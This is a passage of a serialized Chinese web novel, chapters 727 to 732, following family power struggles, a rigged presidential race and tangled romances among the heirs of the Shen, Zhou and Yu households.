“韩洋?” 关鹤点头,“在鲸鱼岛的时候,我故意拿余笙开涮,结果苏韵看不下去替余笙出头,韩洋当着所有人的面说苏韵脱……脱衣服。” 周宴珩全然不在意,“所以你就找我要照片?” 关鹤有些心虚,“是我想差了,对不住啊,阿珩。” 周宴珩忽然想到什么,眸光微沉,“你刚刚说,所有人的面?” 关鹤一下就反应过来,表情微妙,“对,所有人的面,还有姜花衫……” “……”周宴珩眉头紧蹙。 关鹤小心翼翼凑上前,“阿珩,你怎么啦?你不会是……在乎姜花衫对你的看……” 周宴珩掀眸,眼瞳深黑。 关鹤立马噤声,捂着嘴巴,忽然想到什么,又按耐不住,畏畏缩缩,“不对啊,我怎么听说你和沈眠枝在荒岛生死相依了几天几夜,你……” 话音未落,门外忽然响熟悉的声音。 “阿锦哥,你怎么站在门外啊?里面有人吗?” 关鹤眼睛一亮,指了指门口,张着口型,“沈、眠、枝……” 周宴珩眼里的幽光转入眸底,神情冷漠,“你可以滚了。” …… 第727章 变态必杀技 沈眠枝手里提着一个精致的木盒,扎着清爽的高马尾,齐刘海下的一双鹿眼显得懵懂无害。 乔金锦往房间看了一眼,“阿鹤在里面。” 相处这么多年,关鹤让他回避一定是很隐私的事,未免沈眠枝听见什么,他才故意提醒。 沈眠枝略有些失望,却还是打起精神笑了笑,“那我就不打扰了,这是我给阿珩哥熬的汤,麻烦你帮我转交一下。” 乔金锦平时也没听见周宴珩提起过沈眠枝的,便自觉将沈眠枝归类到了周宴珩不想见的名单之中,正要替周宴珩回绝,病房门忽然从里面打开,关鹤神色不明走了出来。 “哦,小眠枝啊?阿珩听说你来了,正高兴了,进去吧。” 乔金锦莫名其妙看了关鹤一眼。 “谢谢阿鹤哥。”沈眠枝脸上的喜悦之情溢于言表,拎着食盒转身进了病床。 房门关上的那刻,乔金锦一脸迟疑,“阿珩什么意思?” 关鹤,“什么什么意思,沈眠枝可是阿珩的救命恩人,关系自然跟跟以前不一样了。” * 沈眠枝进了病房后,有些局促站在门边,想看周宴珩又不敢看。 如此羞怯,除了营造不受控制的人设之外,最重要的原因是她想试试周宴珩的态度。 原本她以为能把周宴珩耗死在荒岛,但既然他已经安全了,那么他必然发现了他留给周家的求救记号被人抹除了。 当时的荒岛上就只有他们两个人,以周宴珩的心智,定然会怀疑她。 “怎么站在门口不过来。”周宴珩的声音一如既往地平和,听不出半点情绪。 沈眠枝察觉到了一丝纵容的意味,这才壮着胆子小心翼翼走了过去,但距离床边一米的位置她又停了下来。 “阿珩哥,你好点没?我本来早就想来看你的,但是周爷爷一直不允许外界探视,爸爸也说不能坏了规矩,所以……” 周宴珩笑了笑,“我说呢?怎么所有人都来了,却偏偏不见你,我还以为……你在岛上说的那些话都是骗我的。” 沈眠枝肉眼可见地有些慌张,指尖无措扣着食盒的手柄。 周宴珩看着她,“怎么了?” 沈眠枝重重吸了一口气,对着周宴珩深深鞠了一躬,“阿珩哥,对不起,你留在荒岛的记号是我毁掉的,还有,那几天我说去外面找沈家救援也是骗你的,我……我其实什么都没做。” 周宴珩眼里的笑意收敛了不少,若是沈眠枝装傻充愣,看在她差点要了他一条命的份上,他不介意好好跟她玩玩,但她如此坦诚,他反倒有些看不透了。 等了许久,没有等到一句回答,沈眠枝小心翼翼抬头,与周宴珩的目光对上立马又慌乱移开。 周宴珩莫名感到怪异,语气里有了几分戒备,“你为什么这么做?” 沈眠枝缓缓抬眸,小鹿眼娇怯又带着几分病态,“因为我喜欢你。” 周宴珩,“……” “阿珩哥,你不知道我看见你在孤岛的时候有多开心,我觉得这肯定是上天听见了我的祈祷,所以才给了我这次千载难逢的机会。我想着,只要我们能经历更多的磨难,你就一定会对我另眼相看。” 周宴珩,“所以,你的喜欢是不惜杀死我?” 沈眠枝摇头,一脸真诚,“不,我没有想过杀你,我怎么可能会下这么狠的毒手?我只是觉得,你残废也没有关系,只要我们关系能进一步就好了。” 周宴珩从来没有被变态喜欢过,这种感觉让他觉得新奇。 他笑了笑,“可我现在好好的,你是不是很失望?” 沈眠枝皱眉,轻叹了一声,慢慢走近他的床边,“阿珩哥,我知道你不会原谅我,但我不后悔,要怪只能怪我的运气差了一点。” 周宴珩挑眉,这么说,不残废倒是他的错了。 沈眠枝将食盒放在床头,有些留恋看了他一眼,“那,我走了。” 窗边的白纱帘轻轻摇摆,吹动着少女摇摆的青丝。 “明天还会来吗?” 沈眠枝神情一怔,回过神,无害的小鹿眼里满是错愕。 周宴珩搭在床边扶手上的指尖慵懒轻点,嘴角挂着一缕难以捉摸的笑意,“喜欢到想要杀了我的人,想想,觉得挺有趣的。” 他喜欢一切新奇的事物,沈眠枝这么有创意,他还真有几分惊喜。 “……”沈眠枝收敛了神色,回过身看着他,眼里的光有些瘆人,“那我明天还来?” 周宴珩依旧维持着那抹似笑非笑的弧度,“好啊。” * 鲸港机场。 送走傅绥尔,嘈杂的人群里只剩姜花衫和沈娇两人面面相觑。 因为昨晚的事,姜花衫现在看见沈娇就觉得心虚,原本出去是为了正事,但后来被沈归灵那么一闹,正事彻底歪了。 她现在在沈娇心里,就是个遇见沈归灵就不早朝的昏君。 沈娇自然也看出了姜花衫的不自在,恨铁不成钢,“说多少遍了,在沈园避着点,你怎么这么不争气?!” 姜花衫想到自己昨晚被迷得差点失去道心,破天荒地没有反驳,“您说的对,我还得练。” 沈娇,“知道就好,你这还是世面见少了,下午重新补课。” “补课?”想起沈娇那些不靠谱的行为,姜花衫顿时头大,“不用了。” 沈娇,“想什么,这次绝对正经。” “……”原来您也知道自己之前有多不正经? 姜花衫正要拒绝,手机忽然发出震动,她想到什么,点开聊天记录: -【关你peaCe:今日攻略,猎奇致胜,真诚是永远的必杀技。】 沈眠枝上一秒回复: -【√get】 …… 第728章 受用终生的一课 沈娇是个行动派,出了飞机场直接带着姜花衫转机去了金山。 原本姜花衫对接下来的课程还有些忐忑,但当她坐在直升机里俯瞰整个金山平原时,心情一下就平复了。 沈娇摘下她的降噪耳机,指着脚下的土地,“你现在眼睛里看见的都是你的。” 姜花衫一脸震惊。 “这么惊讶做什么?不是早就告诉过你,我给你和绥尔买了块地吗?” 姜花衫,“这得有多大?” “我们现在的时速是800km/h,照这样的速度,再飞两个半小时应该就看完了,隔壁那块,是绥尔的。” 姜花衫咋舌,果然,女王的壕是没有上限的。 很快,直升机降落在了一处平地。 当初金山这块地引得几个家族大打出手,机缘巧合之下被沈娇收入囊中,沈娇又转赠给了她和傅绥尔。姜花衫只知道自己名下有块一千三百亿的地皮,但她一直没有概念,直到今天亲眼目睹之后,才真正感受到了这份礼物有多贵重。 “难得清闲,一起走走?” 姜花衫点头,跟着沈娇一步一个脚印丈量脚下的土地。 “这么大,可以盖多少房子?我以后岂不是躺着收租就行了?” 她没什么生意头脑,说这话也不过是有感而发。 沈娇回过头看着她,“错了,一千三百亿买的不是地,买的是王朝更替周期的时间特权。” 这一刻,她既是温柔的母亲也是严肃的导师。 姜花衫愣了愣,风也拂过她的眼角,初显春情的眉眼眸光滟潋。 沈娇侧身,指着远处的一块山丘,“衫衫,你知道如何用你脚下这块地繁衍出另一个时代吗?我测算过,大约需要三代。” “前二十年,我们可以放弃眼前一切利益,免费将40%地块捐赠给国家建立高科技信息基站,以换取百年免税权。剩下的六十林地必须牢牢把控在手里,利用外围林地地貌培育ZJY速生林,抢占空气资源。” “后面三十年,随着科技发展,《灾难资本》必会成为主流,我们可以引爆人造火山获取稀有矿物开采权,开发地下基因库,保存全球精英精子,抢夺火种。” “到了最后五十年,就是收割的时期了。” “当然,时代的变化日新月异,这些都不是绝对的,你可以有更好的点子,而我今天我教你的是思维。真正的统治从不争夺当下,而是修改未来的定价规则,当庸人盯着地价涨跌时,我们提前掌握文明进阶的筹码,荣耀必将延续。” 姜花衫看向沈娇的眼神逐渐泛起涟漪,虽然她没什么生意头脑,但不妨碍她能听懂沈娇这一席话的含金量。 她敢打赌,就算是在商场厮杀了半辈子的沈渊也说不出沈娇这一番道理。 沈娇见姜花衫痴痴看着自己,不觉好笑,抬手替她拂去鬓间的碎发,柔声道:“我今天要教你的不是生意,是另一个思维。” “衫衫,你知道为什么女人很容易把爱情当作自己的全部,而男人总是很轻易就能做出取舍吗?因为,长久以来的压制,女人的战场是男人,而男人的眼界是更广阔的天地。” “我也曾蒙过眼困过心,我知道被困死在一方天地的可怕。” “所以,我的女儿,我必然要送她去见山、识海。若你有天见过山的巍峨,海的辽阔,仍还愿意为一人驻足,母亲会笑着为你戴上最美的冠冕。” 沈娇与姜昕一样,都想送姜花衫去更辽阔的世界,虽然她们感知不到这个世界的边界在哪?但她们都在用自己的方式在和这个世界抗争。 其实沈园里,真正被低估的人从来都是沈娇,沈澈不服沈娇才是他最大的平庸,如果不是沈娇一时心软下嫁傅嘉明,她现在的成就绝不会比沈玺低。 正是因为如此,沈娇才会义无反顾送傅绥尔出去,因为她不希望当年捆住她的枷锁再捆住她的女儿。之所以提醒姜花衫,也是不想遮掩过她心境迷雾再困住姜花衫。 姜花衫点头,轻声允诺,“我知道了。” 沈娇为她上的这一课,她将受用终身。 * 从金山回来,沈娇又带着姜花衫去了海港娱乐城,回到沈园时,天都已经黑了,送货的车从门口排出了十米远。 沈娇说带姜花衫去见山识海可不是说说而已。 顶级珠宝买了,顶级关公享受了,顺便还谈成了一单艺术画展,沈娇言传身教让她体会了什么是人生由自己作主是什么感觉? 虽然她其实早就懂了。 姜花衫心情好,难得喝了点,整个人状态就跟踩在云朵一样又舒服又松弛。 从她抵抗剧目回来后,神经一直都是紧绷的状态,像这样真正放下做自己的时候,五根手指都数得过来。 张茹知道姜花衫是跟着沈娇出去了,也就没有数落,把姜花衫扶进花架便跟跑上绣楼放洗澡水。 姜花衫躺在花架的摇椅里,迷迷糊糊看着头顶的花簇。身下的摇椅一晃一晃,半梦本醒间,她看见了一张讨人厌的脸,俊美但却不近人情。 她坐起身,盯着眼前的人看了许久,又摆摆手躺了回去。 女王说的对,她之前的世界太过狭窄,浮世三千,花鸟鱼虫,她却只执着于一朵不为自己盛开的花。 “走吧走吧,这一次,我们各自安好。” 沈兰晞,“……” 张茹刚放好水从房间出来,隐约看见花架下多了一道身影,不觉吓了一跳,火急火燎跑下楼,待看见是沈兰晞,这才松了一口气。 白天沈兰晞已经来了几回都扑了空,张茹担心沈兰晞说教,连忙替姜花衫解释,“兰晞少爷,小姐跟着幺小姐出去喝多了,您要有什么事,只能等到明天了。” 沈兰晞沉默片刻,蹲下身一把抱起姜花衫。 “上面安置好了?” 张茹愣了愣,这才反应过来沈兰晞是要抱姜花衫上楼,她一时说不上哪里怪异,跟着上前,“兰晞少爷,我来吧?” 沈兰晞并不理会她,抱着姜花衫径直上了绣楼。 张茹谨记沈娇的叮嘱,紧紧跟在身后,等到沈兰晞把姜花衫放上床,她立马笑着挤上前,“辛苦兰晞少爷了。” “照顾好她。”沈兰晞淡淡交代了一声,转身出了菊园。 张茹有些看不懂,起身打开床边的窗扇,月光落下一地清辉,照亮了地面的一角。 * 沈兰晞出了菊园,转头回了兰园。 这一天他什么事都没有做,就一直坐在院子里等姜花衫,等了一天,就见了这一面。 推开院门,他径直去了书房,刚坐下手机就响了。 沈兰晞看了一眼,慢条斯理接通了电话。 “少爷!不得了啊,我发现了沈归灵一个天大的秘密……” …… 第729章 余家的内幕 紫檀木桌沁着温润的柔光,沈兰晞的指节轻点,神情淡定地不像话。 “说。” 这么冷漠的语气无疑给电话对面的人泼了一盆冷水,高止有些不高兴,“少爷,你真是一点情绪价值都不会给。” 沈兰晞,“对你,我只出钱。” “……”高止细想好像是这么回事,立马就释怀了,压低了声音,“少爷,我跟你说,我一路跟踪沈归灵,眼睛不敢闭,水也不敢喝,我……” “说重点。” 重点不马上来了吗?怎么插播一条广告的耐心都没有。 高止翻了个白眼,语调殷勤,“重点就是,少爷您果然有远见,这个沈归灵还真有问题,他竟然瞒着老爷子偷偷来了S国,您猜他来干嘛的?” 沈兰晞,“沈年?” 高止噎了噎,有些无趣,“我先说的啊,你猜着了也要给钱啊。” 沈兰晞皱眉,思忖了片刻问道,“他和沈年见面了?” 高止,“昂。我亲眼看见沈归灵进了沈年所在的别墅。少爷,二房这几年没少给沈年投喂啊,您是不知道,沈年在S国的别墅气派得不行,比您的兰园足足大了一倍不止。” 沈兰晞并不关心这个话题,继续问道,“沈归灵进去多久了?” “刚进去。您放心,我绝对专业,消息都是一手的。” “盯着他。有什么情况再联系。” 挂了电话,沈兰晞心中的疑虑越来越深。 沈归灵和沈年,一个是天纵奇才的私生子,另一个是被驱逐放养的嫡子,按理这两人不可能和平相处。 沈归灵这个时候去找沈年,到底想做什么? * 凌晨两点。 总统台。 余斯文被新闻媒体连续炮轰了半个月,此刻已经身心疲惫,手底下的智囊团进进出出,交接的的文件堆在案头已经超过了成年人的身高。 余笙守在角落,等着最后一批拜访的客人离开后,才小心翼翼推开了书房的房门。 偌大的书房紧紧亮着一盏台灯,余斯文听见动静,从堆积如山的案头里抬起头,见是余笙,神情松懈了不少,取下眼睛,捏了捏眉心,“怎么这么晚还没有睡啊?” 余笙绕过沙发,径直走到书桌前,“爸爸,我们是不是已经没有路走了?” 余斯文神情微怔,沉默片刻重新戴上眼镜,“也不是,为今之计只有一条条路可以走了。” 余笙已经料到了这样的结果,神情落寞,“您又要回去求他们?可是,当初我们好不容易才摆脱他们,您现在回去……” “阿笙。”余斯文淡淡打断她,“你应该知道此一时彼一时。” 隔着一层透明的玻璃镜头,一时很难看清他的情绪。 没有人能想到,堂堂A国一届总统,竟然是邻国资本推上台的傀儡。 当初余斯文之所以能在一众黑马中杀出重围,最大的原因是姚三涉嫌私售国土资源,民众因此痛恨资本财阀转而选择了没有任何背景的他。 但这一切,其实就是一出荒诞的政治戏剧。 姚三与S国私下签订的合约之所以被曝光,正是S国的资本所为,目的就是为了将他们真正想推举的人送上舞台。 而余斯文也不负所望,牢牢抓住了那次的机遇,改天换命,从南湾一个名不见经传的小家族一跃成为了鲸港名门。 但能坐上这个位置的又岂会是无能之辈? 随着政治野心的壮大,余斯文并不满足于成为邻国资本的傀儡,他开始试着摆脱S国的控制。当初为了取得资方的信任,他主动提出让同余笙加入了利维坦之陨邀请,建立了信任联盟。位置坐稳后,他便开始有计划减少与资方的往来。 对方正是因为察觉到了他的异心,所以才借着鲸鱼岛事件发难,让他知道中途停船会有什么后果。 这半月,余斯文试过各种方法,但两股势力前后夹击,他根基不稳根本承受不住。正是这次变故,让他意识到资本积累和一夕权势之间的差距。 余笙紧紧握拳,不甘心看着眼前的男人,“您要认输了吗?” 一旦余斯文认输,就意味着他,他将成为A国的千古罪人。 余斯文轻叹了一声,抬手端起已经凉了的茶水,“阿笙,你知道如果我不认输,我将要面对什么吗?我的下场会比姚三更惨,等待我的将是遥遥无期的牢狱之灾,你也会成为人人喊打的过街老鼠,余家就此淹没。” 余笙摇头,“一定会有别的办法的,沈家,要不我们……” “阿笙!”余斯文重重放下茶杯,神情严肃,“你以为沈家就干净吗?” “可是……”余笙死死咬着下唇。 “没有可是。我已经决定了。”余斯文缓和了神情,神色温和看着她,“阿笙,你一直是爸爸的左膀右臂,这次,你也会支持我的,对不对?” 余笙有些看余斯文的眼睛,神情麻木,“他们不会白白出手,这次您答应的条件是什么?” 余斯文原本不想提及,但一想到后面的事还需要余笙的配合,才勉强说道,“他们要求我上台后秘密签署一份附加协议,允许S国资本以“联合开发”名义控股A国关键战略资源企业的决策权。” 余笙神色惊颤,“这怎么行,你要是同意了,会万劫不复的。” 余斯文不以为然,“生死一线,现在也由不得我不愿意。另外,S国会赞助一个跨国的慈善项目,他们要求由你做形象大使,我已经同意了。” 每一件事都踩着她的心口行凶,余笙失笑,泪水悬空而下,“所以,您是通知我,不是询问?” …… 第730章 傀儡、入局 凌晨三点。 余笙坐在床沿,背脊挺得笔直,像一株在重压下不肯折腰的细竹。 从回到房间,她脑子里一直都是刚刚在书房的画面。 她了解余斯文,所以也知道事情已经没有转圜的余地了,只是她不明白,为什么短短七年的时间,人就能变得连他自己都不认识了。 她永远忘不了,十三岁的夏天,她正在房间里翻开《沉思录》,父亲破门而入,一脸兴奋将她拥入怀里。 “阿笙,爸爸终于可以实现自己的梦想了,你愿意陪着爸爸吗?” 余斯文的梦想是什么呢? 余笙从未忘记过,是为A国改制,让无力者有力,让有力者前行。 正是因为一个父亲有这样高的觉悟,所以才让年幼的女儿像崇拜超级英雄一样崇拜他,即使那个时候的余斯文怀才不遇、无人高看,余笙也从未怀疑过。 入鲸港三年后,余斯文才向她坦白了背后推手的存在。 知道真相的余笙内心忐忑不安,就算以她当时有限的阅历她也清楚知道,这是一条不归路。 但余斯文却告诉她: 这是通往成功最快的捷径,像他们这样没有背景没有资本的草根,要想完成一生的抱负比登天还难!所以,他们必须学会借势。等有一天,他们掌握了权势,能制定规则,就不用再受人摆布了。 余斯文也承诺过她,屈服只是暂时的,是为了完成更大的使命,A国已经被财阀家族架空,历史需要一个英雄来改变,他愿意做这个英雄。但英雄都是不被世人理解的,他希望自己的女儿是例外。 余笙想不到反驳的理由,欣然接受了余斯文的安排,进入了利维坦之陨同盟。 她频频登上政治舞台,努力学习,与人为善,就是为了那句,希望我的女儿是个例外。 但今天,她忽然发现,这一切都只是一出荒诞的戏剧。 他的父亲不是英雄,只是被权利腐蚀的卑劣小人。 她也不是例外,也只是被虚假谎言迷惑的可怜虫。 但最让她绝望的是,即使她清楚明白地知道这一点,也依旧改变不了什么? 就像余斯文说的,她也姓余,从她选择相信父亲的那刻他们已经绑定在了一起。不会有人相信卖国贼的女儿是无辜的,他们只会更加痛恨厌恶她。 他们甚至接受不了她以总统女儿之名暗恋男人,又怎会相信她只是想为父亲圆梦的天真女儿? 她没有路走了,只能就这样腐烂恶臭掉。 * S国当地时间,凌晨一点。 富人区的半山别墅灯火通明,一群拿着冲锋枪的雇佣军站在窗边巡防。 沈年穿着宽松的精锻白袍,十分享受躺在一张巨大的虎皮上,四个风情各异的美人蹲在他脚下小心服侍。 沈归灵坐在对面的沙发上,面无表情站起身。 沈年缓缓抬眸,一把推开K下的美人,眼里带着几分挑衅,“沈园我可太知道,又素又无趣,来都来的,不玩玩再走?” 沈归灵,“不了,爷爷这几年把我教得很好。” 沈年嘴角的笑容瞬间凝固,冷着脸坐起身,围簇的美人见情况不对,相互看了一眼,默默退了出去。 “跟我炫耀,你配吗?”沈年阴晴不定打量沈归灵,他的肤色比一般人都白,因为常年用药总带着一丝病态。 沈归灵,“配不配你心里清楚?否则,你觉得我为什么可以光明正大出现在你面前?” 这话明显触及到了对方的逆鳞,沈年微微眯眼,看向沈归灵的眼神比毒蛇还阴冷。 他离开A国将近十年,这十年沈谦没有来过一次。 在沈年心里,沈谦可以不来,但他不能让沈归灵来。 这不是变相告诉他,他不在的那几年,他的亲生父亲非但没有想过他,还心安理得认了个儿子。 沈年动了动脖子,分裂出一抹诡异笑容,“看样子沈谦对你很满意,我已经迫不及待想看到他知道真相后的那张嘴脸了。帮别人养了二十几年的野种,想想就觉得……活该。” 沈归灵不语,只是静静看着他发病。 沈年自觉没趣,又盯着他上下打量,神色戒备,“沈谦让你来做什么?” 沈归灵,“你父亲准备参加这次的总统大选,他让我来警告你,别惹事。” “就凭他也敢肖想总统之位?一把年纪了还痴人说梦,他才是被爷爷养的太好了。” 沈年嗤笑了一声,眸光掠过一丝幽光,“既然他都这么说了,我这个做儿子的不备上一份大礼都算对不起他。” “话已经带到了,要怎么做是你的事。” 说虽这么说,但其实沈归灵很清楚,不管是沈年还是他背后那群谋划者都不一定不会想看到沈谦坐上总统之位,因为沈谦也姓沈,他更上一层楼就意味着沈家的地位更不可动摇。 所以为了破坏沈谦的公信力,沈年一定会不遗余力地作妖。 而沈年能推动的最好筹码就是姚歌, 他故意透露沈谦的计划,其实是在提醒沈年,快点送姚歌去死。 就在沈归灵动身准备离开时,站在窗边的雇佣军忽然举起手里的冲锋枪。 沈归灵淡定自若,侧身看向沈年。 沈年双手一摊,笑了笑,“沈归灵,销声匿迹七年,好不容易回到组织,不回去汇报汇报工作?” 沈归灵,“沈谦只给我了一天的时间。” 沈年眼里的笑容渐深,“那是你的事,各位叔公要见你,不过他们现在没空,你先在我这住着,等什么时候他们有空了,我再安排。” “噢,对了!听说连南湾舰队的上将都对你赞不绝口,看来是长了本事。正好,我新雇了一批保镖,你替我把把关。” 说着,沈年抬了抬手。 一群人会意,卸下枪,从口袋里掏出拳刺,慢慢逼向沈归灵…… …… 第731章 时局之争 沈归灵原本说是忙几天就回来,但几天又几天,时间一晃,半个月就过去了。 总统大选州内初选已经结束,八月底,各州代表正式投票确认总统、副总统候选人。 名单公布前一个星期,沈谦特意来沈园请教沈庄。 沈庄早看出沈谦对这次的总统竞选志在必得,虽然他并不看好沈谦,但也知道沈谦未必能听进他的意见,干脆闭上眼装聋作哑。 沈谦对此大为不满,这次竞选的对手实力都不俗,若没有沈庄点头,他必定拿不到家族资源,别的不说,就是竞选需要的活动资金他都凑不出。 沈家走不通,沈谦没办法,只能折回南湾找赞助。 所幸这些年他积累了不少人脉,凭着在职国会议员长和沈家长子的双重头衔,轻而易举就获得了不少洲地家族的支持,一度成为了有望当选的最热门候选人之一。 就在沈谦沉浸在这份巨大的喜悦之中时,天降噩耗。 曾被A国民众誉为第一国民夫人的姚歌,临近正式投票前夜,被人发现在家中纵火自焚,经过整整一夜的抢救仍未脱离生命危险。 消息一出,瞬间引爆了各大新闻媒体,沈谦这个名字再次被挂上社会实录的热搜榜。 随着媒体不断深挖,某知情人士公布了姚歌临死前的亲笔遗书。 遗书中,姚歌将自己塑造成了一个被丈夫遗弃的善良形象,因为天真所以遭受了沈谦在婚姻中的背叛,因为善良,所以被丈夫和私生子一起逼疯。 人们都愿意相信,人之将死其言也善,所有人的愤怒一致对准了沈谦和沈归灵,那些声讨咒骂的声音甚至隐隐盖过了余斯文。 为了平息民怒,沈谦只能再次召开记者发布会向民众道歉,并宣布退出此次的总统大选。 三天后,姚歌转危为安,虽然命是保住了,但因为全身大面积烧伤,伤口多处感染需要长时间治疗。 沈谦为了防止新闻媒体乱写,即便心里恨透了床上那具烧焦的身体,也只能咬牙扮演一个忏悔的丈夫。 沈庄早就知道以沈谦的能力胜不了几轮,但他万万没想到,这蠢货竟然还没开始就以这样惨烈的方式败北。 大张旗鼓闹了这么一出笑话,沈家的脸可算是丢尽了,沈庄差点气背过去,直接关门谢客。 * “哈哈哈哈,爽啊!这才是真正的大爽剧啊!” 关鹤趴在窗边,看着楼下水泄不通的人群,心里别提有多畅快,“沈家多亏了有个沈谦,要是没有他,沈家哪有这么多戏看?” 周宴珩,“沈家下马,剩下的就看余家了。” 关鹤关上窗,一脸得意凑上前,“余家那些烂摊子还在,谁敢给他们投钱?泥腿子出身的二流东西,上不了台面。” 见周宴珩根本没在听,他叉腰皱眉,“喂?你看什么呢?” 周宴珩按灭手机,抬眸,“未必。” 关鹤一时没反应过来,“什么未必。” 周宴珩,“什么都没有的泥腿子能坐上总统之位,就这已经说明了很多问题。姚歌早不出事晚不出事,偏偏在沈谦风头正盛的时候自杀,你以为这是巧合?” 他给了沈年一个月的时间,沈年必然会有动作。若是姚歌生死一线,沈家的确没有理由拦着那个疯子回来。 竟然敢弑母,看来沈年背后的集团能耐不小。 关鹤想了想,想不通,遂摆摆手,“管它是不是巧合,只要是沈家遭殃就行。” “叩叩——” 正说着,门外忽然响起一道温温柔柔的声音。 “阿珩哥。” 关鹤脸色微变,眼神暧昧指了指门口,“沈田螺每天都来送东西?” 周宴珩懒得理他,将手机藏于枕下,“去开门。” 关鹤瘪了瘪嘴,屁颠跑上去开门。 “呀,小眠枝啊,你们家最近这么忙,你怎么还有空过来?” 沈眠枝只当听不懂关鹤的嘲讽,拎着食盒直接进屋,“阿珩哥,你今天感觉怎么样?” 关鹤也是欠,看见沈家人就想欺负,一把抢过沈眠枝手里的东西,“你送的这些阿珩又不能吃,我替他尝尝,免得辜负了你的一番心意。” 不等沈眠枝反对,关鹤直接掀开盖子,“哟,做得还挺好看的。” 说完,顺手拿起一个颜色鲜亮的柿子茶果咬了下去。 “诶!”沈眠枝皱眉,正要阻止却已经来不及了。 关鹤嚼了两口就咽了下去。 “这么小气,我和阿珩可是好兄弟,吃两个茶果他不会介意的,是不是啊阿珩?” 周宴珩看向沈眠枝,“怎么了?” 沈眠枝一脸无辜,“我看我每次送的东西你都不吃,我还以为……所以,这次为了把东西得漂亮一点,我用了没熟的柿子,还用酸奶做了糖浆。” 关鹤满不在乎,“哪有什么?” 周宴珩表情淡定,“有毒。” 关鹤,“……” * 沈园。 “小姐,您让我做的那些茶果食性相冲?就这么送给眠枝小姐不会出事吧?” 张茹小心翼翼跟在姜花衫身后,要不是她对姜花衫的人品深信不疑,差点都下不去手。 姜花衫从廊间跳下台阶,一路蹦蹦跳跳。 “这你就别管了,照做就行了。” 周宴珩那个变态,送正常的东西他眼皮都不会抬,送稀奇古怪的他才会觉得有趣。 上一世,她送过周宴珩一筐毒蘑菇,那家伙硬是找厨子做了出来,还邀请她一起品尝。 那次,两人差点没一起毒死。 “慢点,担心别摔着了。” “摔不着。”姜花衫摆摆手,刚冲出前院,冷不丁听见一道熟悉的声音。 “我真的有很重要的事要见他,我和你们沈少爷是同学,麻烦你跟他说一声。” 姜花衫侧身,皱着眉看向窗格的方向。 “不好意思,余小姐,我家老爷子说了这段时间不接外客,您要真有什么事,可以先和少爷打声招呼,没有命令我们也不能随便作主。” 余笙望着眼前的重重院落,眼里满是落寞。 她来之前联系过沈归灵,但他的电话打不通,发消息也是石沉大海,实在没办法她才瞒着余斯文找上门,下次未必还有这个机会了。 难道,真的没有路走了? “打扰了。”她勉强笑了笑,转身走下台阶。 “你……是要找沈归灵吗?” 余笙身形一怔,回身看去。 阶下青砖缝里的苔痕被晒出了暖香,有人站在一片光瀑中央静静看着她。 …… 裙已开,点我主页可以看见,有兴趣的宝宝欢迎来撩~ 第732章 我不需要朋友 历经时间沉淀的门槛将两人分割成了园外和园内两个世界。 姜花衫站在院门后一动不动,在她眼里,这道门槛就是自救的分界线,如果余笙不能自己跨过来,她也就没有伸手的必要。 余笙的心情更为复杂。 或者说,她对姜花衫的这个人的情绪有些复杂。 一开始,她对姜花衫的印象只是沈归灵的妹妹,再到后来,她觉得姜花衫是头戴簪花的刺猬,但不管是哪种,她其实都从未真正了解过姜花衫。 唯一一次真正接触,是鲸鱼岛那次的海难。 她差点死在姜花衫手里。 “……” 两人各自沉默。 许久后,余笙转身背向院门,刚迈出一步又停了下来,眸光凝结,咬牙冲进了那道明暗交接的青石门槛。 “余……” 园外的管事正要阻拦,却被余笙直接挡了回去。 “姜小姐,我有很重要的事要找沈归灵,你能帮我联系他吗?” “跟我进来吧。”姜花衫看了管事一眼,自顾往主厅方向走去。 余笙回头看向管事,管事已经退回了门边,眼观鼻鼻观心。 刚刚还说沈老爷子不许园内接待外客,现在竟然就这么退让了? 早听闻姜花衫在沈家地位不一般,没想到竟然连老爷子的命令都可以不遵守。 余笙心里有了底气,快步追上姜花衫,“姜小姐,我真的是有很重要的事。” 之前在鲸鱼岛,姜花衫曾听见过她的心事,她实在很担心姜花衫以为自己纠缠沈归灵着不放,但她又不能直接言明,只能这么干巴巴地解释。 进了偏厅,姜花衫回头朝张茹使了个眼色,张茹会意转身带上门。 “坐吧。”姜花衫指着眼前的紫檀圈椅。 余笙入座,想着自己现在有求于人,她将姿态放得很低,“我知道现在沈家不想惹麻烦,但是我这次来跟余家没有任何关系,我是……” 姜花衫打断她,“沈归灵不在。” 余笙愣了愣,反应过来后言语中略有一丝急切,“你能不能告诉我他去了哪?或许,你能不能帮我联系他?” 姜花衫,“他去了哪我暂时不能说,但如果你有什么话、或许什么东西需要转达,我可以帮忙。” 余笙眼里的情绪忽然僵滞,她的确有东西要交给沈归灵,但那是她唯一的筹码了,如果输了,她就真的没有路走了。 她和姜花衫没有任何情分,实在不敢将这么重要的东西交给她。 余生手指收拢,此刻信任和质疑各占天平两端。 姜花衫明白余笙的迟疑,但她说的也是事实。 那晚胡闹之后,沈归灵给她留下了一个邮箱,说如果他没有按时回来,鲸港有任何变动可以用邮箱联系他。 沈归灵还曾特别嘱咐过,这个邮箱是他所有的关系网,仅限她进入。 余笙信不信她无所谓,不能把沈归灵的底裤给别人看。 余笙深吸了一口气,缓缓起身,“多谢你,姜小姐,我还是等沈归灵回来亲自跟他说吧。” 姜花衫对这个结果并不意外,如果仅仅只是这样余笙就选择轻信,她就不是余笙了。 走投无路也绝不轻信,看来,上一世,沈归灵是真正拿捏了余笙。 姜花衫想了想,用指尖沾取茶水在桌上写下了一串数字。 余笙不解看着她。 姜花衫笑了笑,“沈归灵短时间应该不会回来,这是我的联系方式,如果你改变了主意可以随时联系我。” 总统大选在即,余笙这个时候找上门一定跟剧情有关。虽然她也不信余笙,但她必须想办法拿到余家的剧情,因为只有拼凑出全部的视角,她才能和真正的剧目抗衡。 桌上的水渍转眼淡去了边际,余笙扫了一眼,没有点头也没有拒绝。 “谢谢你。” * 出了沈园,余笙头也不回走进了一滩光影之中。 她原本是想来找帮手的,但现在计划落空,已经没有可以去的地方了。 余笙漫无目的在大街上游荡了许久,直到余斯文打电话过来询问,她才不紧不慢往家里赶。 “小姐,你可算回来了。”阿姨守在门口,远远看见她就迎了上来。 余笙往主厅的方向看了一眼,淡淡道,“家里来客人了?” “是苏小姐,她已经等了您两个小时了。” 余笙愣了愣,看向主厅的方向多了一抹沉重,随即她二话不说转头去了主厅。 原本她打算回房换身衣服再去见余斯文,但现在半点心思都没有了。 “余伯伯,时候不早了,我先回去了明天再来拜访。” 余笙刚进屋,便看见苏韵向余斯文请辞。 余斯文正要说话,转眸看见她,略有不满指责道,“你这丫头,跑哪去了?你不是跟我说去找苏小姐了吗?怎么又让苏小姐在这等这么久?” 